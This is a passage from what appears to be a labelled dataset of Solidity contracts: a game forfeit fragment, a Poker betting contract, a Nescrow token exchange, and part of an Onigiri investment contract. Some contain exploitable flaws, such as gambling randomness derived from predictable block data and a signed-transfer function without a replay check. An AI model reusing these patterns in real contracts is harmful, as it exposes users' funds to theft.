Game storage thisGame = games[gameId];
require(thisGame.state == State.Joined);
require(thisGame.player2 == msg.sender);
require(thisGame.gameStart + revealTime < now);
uint fee = (thisGame.value) / feeDivisor;
balances[owner1] += fee*2;
totalLost[thisGame.player1] += thisGame.value;
totalWon[thisGame.player2] += thisGame.value - fee*2;
thisGame.state = State.Ended;
thisGame.result = Result.Forfeit;
GameEnded(thisGame.player1, thisGame.player2, gameId, thisGame.value, thisGame.result, ResultType.StraightUp);
thisGame.player2.transfer((thisGame.value*2) - fee*2);
return true;
}
function donate() public payable returns (bool success) {
require(msg.value != 0);
balances[owner1] += msg.value;
return true;
}
function deposit() public payable returns (bool success) {
require(msg.value != 0);
balances[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
return true;
}
function withdraw() public returns (bool success) {
uint amount = balances[msg.sender];
if (amount == 0) return false;
balances[msg.sender] = 0;
msg.sender.transfer(amount);
Withdraw(msg.sender, amount);
return true;
}
function pause(bool setpause) public onlyOwner {
paused = setpause;
}
function expire(bool setexpire) public onlyOwner {
expired = setexpire;
}
function setOwner(address newOwner) public {
require(msg.sender == owner1);
owner1 = newOwner;
}
} | 0 | 1,185 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
}
contract pokerEvents{
event Bettings(
uint indexed guid,
uint gameType,
address indexed playerAddr,
uint[] bet,
bool indexed result,
uint winNo,
uint amount,
uint winAmount,
uint jackpot
);
event JackpotPayment(
uint indexed juid,
address indexed playerAddr,
uint amount,
uint winAmount
);
event FreeLottery(
uint indexed luid,
address indexed playerAddr,
uint winNo,
uint indexed winAmount
);
}
contract Poker is Ownable,pokerEvents{
using inArrayExt for address[];
using intArrayExt for uint[];
address private opAddress;
address private wallet1;
address private wallet2;
bool public gamePaused=false;
uint public guid=1;
uint public luid=1;
mapping(string=>uint) odds;
uint minPrize=0.01 ether;
uint lotteryPercent = 3 ether;
uint public minBetVal=0.01 ether;
uint public maxBetVal=1 ether;
struct FreeLotto{
bool active;
uint prob;
uint prize;
uint freezeTimer;
uint count;
mapping(address => uint) lastTime;
}
mapping(uint=>FreeLotto) lotto;
mapping(address=>uint) playerCount;
bool freeLottoActive=true;
uint public jpBalance=0;
uint jpMinBetAmount=0.05 ether;
uint jpMinPrize=0.01 ether;
uint jpChance=1000;
uint jpPercent=0.3 ether;
bytes32 private rndSeed;
uint private minute=60;
uint private hour=60*60;
constructor(address _rndAddr) public{
opAddress=msg.sender;
wallet1=msg.sender;
wallet2=msg.sender;
odds['bs']=1.97 ether;
odds['suit']=3.82 ether;
odds['num']=11.98 ether;
odds['nsuit']=49.98 ether;
lotto[1]=FreeLotto(true,1000,0.1 ether,hour / 100 ,0);
lotto[2]=FreeLotto(true,100000,1 ether,3*hour/100 ,0);
RandomOnce rnd=RandomOnce(_rndAddr);
bytes32 _rndSeed=rnd.getRandom();
rnd.destruct();
rndSeed=keccak256(abi.encodePacked(blockhash(block.number-1), msg.sender,now,_rndSeed));
}
function play(uint _gType,uint[] _bet) payable isHuman() public{
require(!gamePaused,'Game Pause');
require(msg.value >= minBetVal*_bet.length && msg.value <= maxBetVal*_bet.length,"value is incorrect" );
bool _ret=false;
uint _betAmount= msg.value /_bet.length;
uint _prize=0;
uint _winNo= uint(keccak256(abi.encodePacked(rndSeed,msg.sender,block.coinbase,block.timestamp, block.difficulty,block.gaslimit))) % 52 + 1;
rndSeed = keccak256(abi.encodePacked(msg.sender,block.timestamp,rndSeed, block.difficulty));
if(_gType==1){
if(_betAmount * odds['bs'] / 1 ether >= address(this).balance/2){
revert("over max bet amount");
}
if((_winNo >= 29 && _bet.contain(2)) || (_winNo <= 24 && _bet.contain(1))){
_ret=true;
_prize=(_betAmount * odds['bs']) / 1 ether;
}else if(_winNo>=25 && _winNo <=28 && _bet.contain(0)){
_ret=true;
_prize=(_betAmount * 12 ether) / 1 ether;
}
}
if(_gType==2 && _bet.contain(_winNo%4+1)){
if(_betAmount * odds['suit'] / 1 ether >= address(this).balance/2){
revert("over max bet amount");
}
_ret=true;
_prize=(_betAmount * odds['suit']) / 1 ether;
}
if(_gType==3 && _bet.contain((_winNo-1)/4+1)){
if(_betAmount * odds['num'] / 1 ether >= address(this).balance/2){
revert("over max bet amount");
}
_ret=true;
_prize=(_betAmount * odds['num']) / 1 ether;
}
if(_gType==4 && _bet.contain(_winNo)){
if(_betAmount * odds['nsuit'] / 1 ether >= address(this).balance/2){
revert("over max bet amount");
}
_ret=true;
_prize=(_betAmount * odds['nsuit']) / 1 ether;
}
if(_ret){
msg.sender.transfer(_prize);
}else{
jpBalance += (msg.value * jpPercent) / 100 ether;
}
uint tmpJackpot=0;
if(_betAmount >= jpMinBetAmount){
uint _jpNo= uint(keccak256(abi.encodePacked(rndSeed,msg.sender,block.coinbase,block.timestamp, block.difficulty,block.gaslimit))) % jpChance;
if(_jpNo==77 && jpBalance>jpMinPrize){
msg.sender.transfer(jpBalance);
emit JackpotPayment(guid,msg.sender,_betAmount,jpBalance);
tmpJackpot=jpBalance;
jpBalance=0;
}else{
tmpJackpot=0;
}
rndSeed = keccak256(abi.encodePacked(block.coinbase,msg.sender,block.timestamp, block.difficulty,rndSeed));
}
emit Bettings(guid,_gType,msg.sender,_bet,_ret,_winNo,msg.value,_prize,tmpJackpot);
guid+=1;
}
function freeLottery(uint _gid) public isHuman(){
require(!gamePaused,'Game Pause');
require(freeLottoActive && lotto[_gid].active,'Free Lotto is closed');
require(now - lotto[_gid].lastTime[msg.sender] >= lotto[_gid].freezeTimer,'in the freeze time');
uint chancex=1;
uint winNo = 0;
if(playerCount[msg.sender]>=3){
chancex=2;
}
if(playerCount[msg.sender]>=6){
chancex=3;
}
winNo=uint(keccak256(abi.encodePacked(msg.sender,block.number,block.timestamp, rndSeed,block.difficulty,block.gaslimit))) % (playerCount[msg.sender]>=3?lotto[_gid].prob/chancex:lotto[_gid].prob)+1;
bool result;
if(winNo==7){
result=true;
msg.sender.transfer(lotto[_gid].prize);
}else{
result=false;
if(playerCount[msg.sender]==0 || lotto[_gid].lastTime[msg.sender] <= now -lotto[_gid].freezeTimer - 15*minute){
playerCount[msg.sender]+=1;
}else{
playerCount[msg.sender]=0;
}
}
emit FreeLottery(luid,msg.sender,winNo,result?lotto[_gid].prize:0);
rndSeed = keccak256(abi.encodePacked( block.difficulty,block.coinbase,msg.sender,block.timestamp,rndSeed));
luid=luid+1;
lotto[_gid].lastTime[msg.sender]=now;
}
function freeLottoInfo() public view isHuman() returns(uint,uint,uint){
uint chance=1;
if(playerCount[msg.sender]>=3){
chance=2;
}
if(playerCount[msg.sender]>=6){
chance=3;
}
return (lotto[1].lastTime[msg.sender],lotto[2].lastTime[msg.sender],chance);
}
function updateRndSeed(address _rndAddr) isHuman() public {
require(msg.sender==owner || msg.sender==opAddress,"DENIED");
RandomOnce rnd=RandomOnce(_rndAddr);
bytes32 _rndSeed=rnd.getRandom();
rnd.destruct();
rndSeed = keccak256(abi.encodePacked(msg.sender,block.number,_rndSeed,block.timestamp,block.coinbase,rndSeed, block.difficulty,block.gaslimit));
}
function updateOdds(string _game,uint _val) public isHuman(){
require(msg.sender==owner || msg.sender==opAddress);
odds[_game]=_val;
}
function updateStatus(uint _p,bool _status) public isHuman(){
require(msg.sender==owner || msg.sender==opAddress);
if(_p==1){gamePaused=_status;}
if(_p==2){freeLottoActive=_status;}
if(_p==3){lotto[1].active =_status;}
if(_p==4){lotto[2].active =_status;}
}
function getOdds() public view returns(uint[]) {
uint[] memory ret=new uint[](4);
ret[0]=odds['bs'];
ret[1]=odds['suit'];
ret[2]=odds['num'];
ret[3]=odds['nsuit'];
return ret;
}
function updateLottoParams(uint _gid,uint _key,uint _val) public isHuman(){
require(msg.sender==owner || msg.sender==opAddress);
if(_key==1){lotto[_gid].active=(_val==1);}
if(_key==2){lotto[_gid].prob=_val;}
if(_key==3){lotto[_gid].prize=_val;}
if(_key==4){lotto[_gid].freezeTimer=_val;}
}
function getLottoData(uint8 _gid) public view returns(bool,uint,uint,uint,uint){
return (lotto[_gid].active,lotto[_gid].prob,lotto[_gid].prize,lotto[_gid].freezeTimer,lotto[_gid].count);
}
function setAddr(uint _acc,address _addr) public onlyOwner isHuman(){
if(_acc==1){wallet1=_addr;}
if(_acc==2){wallet2=_addr;}
if(_acc==3){opAddress=_addr;}
}
function getAddr(uint _acc) public view onlyOwner returns(address){
if(_acc==1){return wallet1;}
if(_acc==2){return wallet2;}
if(_acc==3){return opAddress;}
}
function withdraw(address _to,uint amount) public onlyOwner isHuman() returns(bool){
require(address(this).balance - amount > 0);
_to.transfer(amount);
}
function distribute(uint _p) public onlyOwner isHuman(){
uint prft1=_p* 85 / 100;
uint prft2=_p* 10 / 100;
uint prft3=_p* 5 / 100;
owner.transfer(prft1);
wallet1.transfer(prft2);
wallet2.transfer(prft3);
}
function() payable isHuman() public {
}
}
contract RandomOnce{
constructor() public{}
function getRandom() public view returns(bytes32){}
function destruct() public{}
}
library inArrayExt{
function contain(address[] _arr,address _val) internal pure returns(bool){
for(uint _i=0;_i< _arr.length;_i++){
if(_arr[_i]==_val){
return true;
break;
}
}
return false;
}
}
library intArrayExt{
function contain(uint[] _arr,uint _val) internal pure returns(bool){
for(uint _i=0;_i< _arr.length;_i++){
if(_arr[_i]==_val){
return true;
break;
}
}
return false;
}
} | 0 | 268 |
pragma solidity ^0.4.25;
contract Token {
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}
contract NescrowExchangeService {
address owner = msg.sender;
uint256 public feeRateLimit = 200;
uint256 public takerFeeRate = 0;
uint256 public makerFeeRate = 0;
address public feeAddress;
mapping (address => bool) public admins;
mapping (bytes32 => uint256) public orderFills;
mapping (bytes32 => uint256) public orderPaymentFills;
mapping (bytes32 => bool) public withdrawn;
mapping (bytes32 => bool) public transfers;
mapping (address => mapping (address => uint256)) public balances;
mapping (address => uint256) public tradesLocked;
mapping (address => uint256) public disableFees;
mapping (address => uint256) public tokenDecimals;
mapping (address => bool) public tokenRegistered;
struct EIP712Domain {
string name;
string version;
uint256 chainId;
address verifyingContract;
}
event OrderPayment(address indexed user, address spendToken, uint256 spendAmount, address indexed merchant, address merchantReceiveToken, uint256 merchantReceiveAmount);
event TradesLock(address user);
event TradesUnlock(address user);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
bytes32 constant ORDER_TYPEHASH = keccak256("Order(address fromToken,uint256 fromAmount,address toToken,uint256 toAmount,uint256 autoWithdraw,uint256 expires,uint256 nonce)");
bytes32 constant ORDER_WITH_TIPS_TYPEHASH = keccak256("OrderWithTips(address fromToken,uint256 fromAmount,address toToken,uint256 toAmount,uint256 autoWithdraw,uint256 expires,uint256 nonce,uint256 makerTips,uint256 takerTips)");
bytes32 constant ORDER_PAYMENT_TYPEHASH = keccak256("OrderPayment(address spendToken,uint256 spendAmount,address merchantReceiveToken,uint256 merchantReceiveAmount,address merchant,uint256 expires,uint256 nonce)");
bytes32 constant WITHDRAWAL_TYPEHASH = keccak256("Withdrawal(address withdrawToken,uint256 amount,uint256 nonce)");
bytes32 constant TIPS_TYPEHASH = keccak256("Tips(address tipsToken,uint256 amount,uint256 nonce)");
bytes32 constant TRANSFER_TYPEHASH = keccak256("Transfer(address transferToken,address to,uint256 amount,uint256 nonce)");
bytes32 DOMAIN_SEPARATOR;
function domainHash(EIP712Domain eip712Domain) internal pure returns (bytes32) {
return keccak256(abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256(bytes(eip712Domain.name)),
keccak256(bytes(eip712Domain.version)),
eip712Domain.chainId,
eip712Domain.verifyingContract
));
}
constructor() public {
DOMAIN_SEPARATOR = domainHash(EIP712Domain({
name: "Nescrow Exchange",
version: '2',
chainId: 1,
verifyingContract: this
}));
tokenRegistered[0x0] = true;
tokenDecimals[0x0] = 18;
}
function setOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
function getOwner() public view returns (address out) {
return owner;
}
function setAdmin(address admin, bool isAdmin) external onlyOwner {
admins[admin] = isAdmin;
}
function deposit() external payable {
uint amount = safeDiv(msg.value, 10**10);
require(amount > 0);
increaseBalance(msg.sender, address(0), amount);
}
function depositToken(address token, uint256 amount) external {
require(amount > 0);
require(token != 0x0);
require(safeTransferFrom(token, msg.sender, this, toTokenAmount(token, amount)));
increaseBalance(msg.sender, token, amount);
}
function depositTokenByAdmin(address user, address token, uint256 amount)
external onlyAdmin {
require(amount > 0);
require(token != 0x0);
require(safeTransferFrom(token, user, this, toTokenAmount(token, amount)));
increaseBalance(user, token, amount);
}
function sendTips() external payable {
uint amount = safeDiv(msg.value, 10**10);
require(amount > 0);
increaseBalance(feeAddress, address(0), amount);
}
function transferTips(address token, uint256 amount, address fromUser, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(TIPS_TYPEHASH, token, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser);
require(!transfers[hash]);
transfers[hash] = true;
require(reduceBalance(fromUser, token, amount));
increaseBalance(feeAddress, token, amount);
}
function transfer(address token, uint256 amount, address fromUser, address toUser, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(TRANSFER_TYPEHASH, token, toUser, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser);
transfers[hash] = true;
require(reduceBalance(fromUser, token, amount));
increaseBalance(toUser, token, amount);
}
function withdrawByAdmin(address token, uint256 amount, address user, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(WITHDRAWAL_TYPEHASH, token, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == user);
require(!withdrawn[hash]);
withdrawn[hash] = true;
require(reduceBalance(user, token, amount));
require(sendToUser(user, token, amount));
}
function withdraw(address token, uint256 amount) external {
require(amount > 0);
require(tradesLocked[msg.sender] > block.number);
require(reduceBalance(msg.sender, token, amount));
require(sendToUser(msg.sender, token, amount));
}
function reduceBalance(address user, address token, uint256 amount) private returns(bool) {
if (balances[token][user] < amount) return false;
balances[token][user] = safeSub(balances[token][user], amount);
return true;
}
function increaseBalanceOrWithdraw(address user, address token, uint256 amount, uint256 _withdraw) private returns(bool) {
if (_withdraw == 1) {
return sendToUser(user, token, amount);
} else {
return increaseBalance(user, token, amount);
}
}
function increaseBalance(address user, address token, uint256 amount) private returns(bool) {
balances[token][user] = safeAdd(balances[token][user], amount);
return true;
}
function sendToUser(address user, address token, uint256 amount) private returns(bool) {
if (token == address(0)) {
return user.send(toTokenAmount(address(0), amount));
} else {
return safeTransfer(token, user, toTokenAmount(token, amount));
}
}
function toTokenAmount(address token, uint256 amount) private view returns (uint256) {
require(tokenRegistered[token]);
uint256 decimals = token == address(0)
? 18
: tokenDecimals[token];
if (decimals == 8) {
return amount;
}
if (decimals > 8) {
return safeMul(amount, 10**(decimals - 8));
} else {
return safeDiv(amount, 10**(8 - decimals));
}
}
function setTakerFeeRate(uint256 feeRate) external onlyAdmin {
require(feeRate == 0 || feeRate >= feeRateLimit);
takerFeeRate = feeRate;
}
function setMakerFeeRate(uint256 feeRate) external onlyAdmin {
require(feeRate == 0 || feeRate >= feeRateLimit);
makerFeeRate = feeRate;
}
function setFeeAddress(address _feeAddress) external onlyAdmin {
require(_feeAddress != address(0));
feeAddress = _feeAddress;
}
function disableFeesForUser(address user, uint256 timestamp) external onlyAdmin {
require(timestamp > block.timestamp);
disableFees[user] = timestamp;
}
function registerToken(address token, uint256 decimals) external onlyAdmin {
require(!tokenRegistered[token]);
tokenRegistered[token] = true;
tokenDecimals[token] = decimals;
}
function tradesLock(address user) external {
require(user == msg.sender);
tradesLocked[user] = block.number + 20000;
emit TradesLock(user);
}
function tradesUnlock(address user) external {
require(user == msg.sender);
tradesLocked[user] = 0;
emit TradesUnlock(user);
}
function isUserMakerFeeEnabled(address user, uint256 disableFee) private view returns(bool) {
return disableFee == 0 && makerFeeRate > 0 && disableFees[user] < block.timestamp;
}
function isUserTakerFeeEnabled(address user, uint256 disableFee) private view returns(bool) {
return disableFee == 0 && takerFeeRate > 0 && disableFees[user] < block.timestamp;
}
function calculateRate(uint256 offerAmount, uint256 wantAmount) private pure returns(uint256) {
return safeDiv(safeMul(10**8, wantAmount), offerAmount);
}
function trade(
uint256[10] amounts,
address[4] addresses,
uint256[6] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]);
require(orderFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
if (isUserMakerFeeEnabled(addresses[0], values[4])) {
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]));
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate));
} else {
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]));
}
if (isUserTakerFeeEnabled(addresses[1], values[5])) {
require(increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]));
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate));
} else {
require(increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]));
}
}
function exchangeAndPay(
uint256[10] amounts,
address[5] addresses,
uint256[4] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[3], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = keccak256(abi.encode(ORDER_PAYMENT_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], addresses[4], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderPaymentFills[orderHash2] = safeAdd(orderPaymentFills[orderHash2], amounts[9]);
require(orderPaymentFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]));
require(increaseBalanceOrWithdraw(addresses[4], addresses[2], amounts[8], values[3]));
emit OrderPayment(addresses[1], addresses[1], amounts[9], addresses[4], addresses[2], amounts[2]);
}
function tradeWithTips(
uint256[10] amounts,
address[4] addresses,
uint256[10] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = values[4] > 0 || values[5] > 0
? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3], values[4], values[5]))
: keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = values[6] > 0 || values[7] > 0
? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7], values[6], values[7]))
: keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]);
require(orderFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
if (values[4] > 0 && !isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], values[4])), values[2]);
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], values[4]));
} else if (values[4] == 0 && isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]);
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate));
} else if (values[4] > 0 && isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeAdd(safeDiv(amounts[9], values[4]), safeDiv(amounts[9], makerFeeRate))), values[2]);
increaseBalance(feeAddress, addresses[3], safeAdd(safeDiv(amounts[9], values[4]), safeDiv(amounts[9], makerFeeRate)));
} else {
increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]);
}
if (values[7] > 0 && !isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], values[7])), values[3]);
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], values[7]));
} else if (values[7] == 0 && isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]);
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate));
} else if (values[7] > 0 && isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeAdd(safeDiv(amounts[8], values[7]), safeDiv(amounts[8], takerFeeRate))), values[3]);
increaseBalance(feeAddress, addresses[2], safeAdd(safeDiv(amounts[8], values[7]), safeDiv(amounts[8], takerFeeRate)));
} else {
increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]);
}
}
function() public payable {
revert();
}
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeTransfer(
address token,
address to,
uint256 value)
private
returns (bool success)
{
success = token.call(0xa9059cbb, to, value);
return checkReturnValue(success);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value)
private
returns (bool success)
{
success = token.call(0x23b872dd, from, to, value);
return checkReturnValue(success);
}
function checkReturnValue(
bool success
)
private
pure
returns (bool)
{
if (success) {
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
success := 0
}
}
}
return success;
}
} | 0 | 669 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
contract Onigiri {
using SafeMath for uint256;
struct InvestorInfo {
uint256 invested;
uint256 lockbox;
uint256 withdrawn;
uint256 lastInvestmentTime;
}
mapping (address => InvestorInfo) public investors;
mapping (address => uint256) public affiliateCommission;
mapping (address => uint256) public devCommission;
uint256 public investorsCount;
uint256 public lockboxTotal;
uint256 public withdrawnProfitTotal;
uint256 public affiliateCommissionWithdrawnTotal;
uint256 public donatedTotal;
uint256 public gamesIncomeTotal;
address private constant dev_0_master = 0x6a5D9648381b90AF0e6881c26739efA4379c19B2;
address private constant dev_1_master = 0xDBd32Ef31Fcd7fc1EF028A7471a7A9BFC39ab609;
address private dev_0_escrow = 0xF57924672D6dBF0336c618fDa50E284E02715000;
address private dev_1_escrow = 0xE4Cf94e5D30FB4406A2B139CD0e872a1C8012dEf;
uint256 public constant minInvest = 0.025 ether;
event Invested(address investor, uint256 amount);
event Renvested(address investor, uint256 amount);
event WithdrawnAffiliateCommission(address affiliate, uint256 amount);
event WithdrawnProfit(address investor, uint256 amount);
event WithdrawnLockbox(address investor, uint256 amount);
function() external payable {
uint256 devFee = msg.value.div(100);
devCommission[dev_0_escrow] = devCommission[dev_0_escrow].add(devFee);
devCommission[dev_1_escrow] = devCommission[dev_1_escrow].add(devFee);
donatedTotal = donatedTotal.add(msg.value);
}
function fromGame() external payable {
uint256 devFee = msg.value.div(100).mul(2);
devCommission[dev_0_escrow] = devCommission[dev_0_escrow].add(devFee);
devCommission[dev_1_escrow] = devCommission[dev_1_escrow].add(devFee);
gamesIncomeTotal = gamesIncomeTotal.add(msg.value);
}
function getInvested(address _address) public view returns(uint256) {
return investors[_address].invested;
}
function getLockBox(address _address) public view returns(uint256) {
return investors[_address].lockbox;
}
function getWithdrawn(address _address) public view returns(uint256) {
return investors[_address].withdrawn;
}
function getLastInvestmentTime(address _address) public view returns(uint256) {
return investors[_address].lastInvestmentTime;
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
function guaranteedBalance() public view returns(uint256) {
return lockboxTotal.add(devCommission[dev_0_escrow]).add(devCommission[dev_1_escrow]);
}
function invest(address _affiliate) public payable {
require(msg.value >= minInvest, "min 0.025 eth");
uint256 profit = calculateProfit(msg.sender);
if(profit > 0){
msg.sender.transfer(profit);
}
if(_affiliate != msg.sender && _affiliate != address(0)) {
uint256 commission = msg.value.div(100);
affiliateCommission[_affiliate] = affiliateCommission[_affiliate].add(commission);
}
if(getLastInvestmentTime(msg.sender) == 0) {
investorsCount = investorsCount.add(1);
}
uint256 lockboxAmount = msg.value.div(100).mul(84);
investors[msg.sender].lockbox = investors[msg.sender].lockbox.add(lockboxAmount);
investors[msg.sender].invested = investors[msg.sender].invested.add(msg.value);
investors[msg.sender].lastInvestmentTime = now;
delete investors[msg.sender].withdrawn;
lockboxTotal = lockboxTotal.add(lockboxAmount);
uint256 devFee = msg.value.div(100).mul(2);
devCommission[dev_0_escrow] = devCommission[dev_0_escrow].add(devFee);
devCommission[dev_1_escrow] = devCommission[dev_1_escrow].add(devFee);
emit Invested(msg.sender, msg.value);
}
function updateDevEscrow(address _address) public {
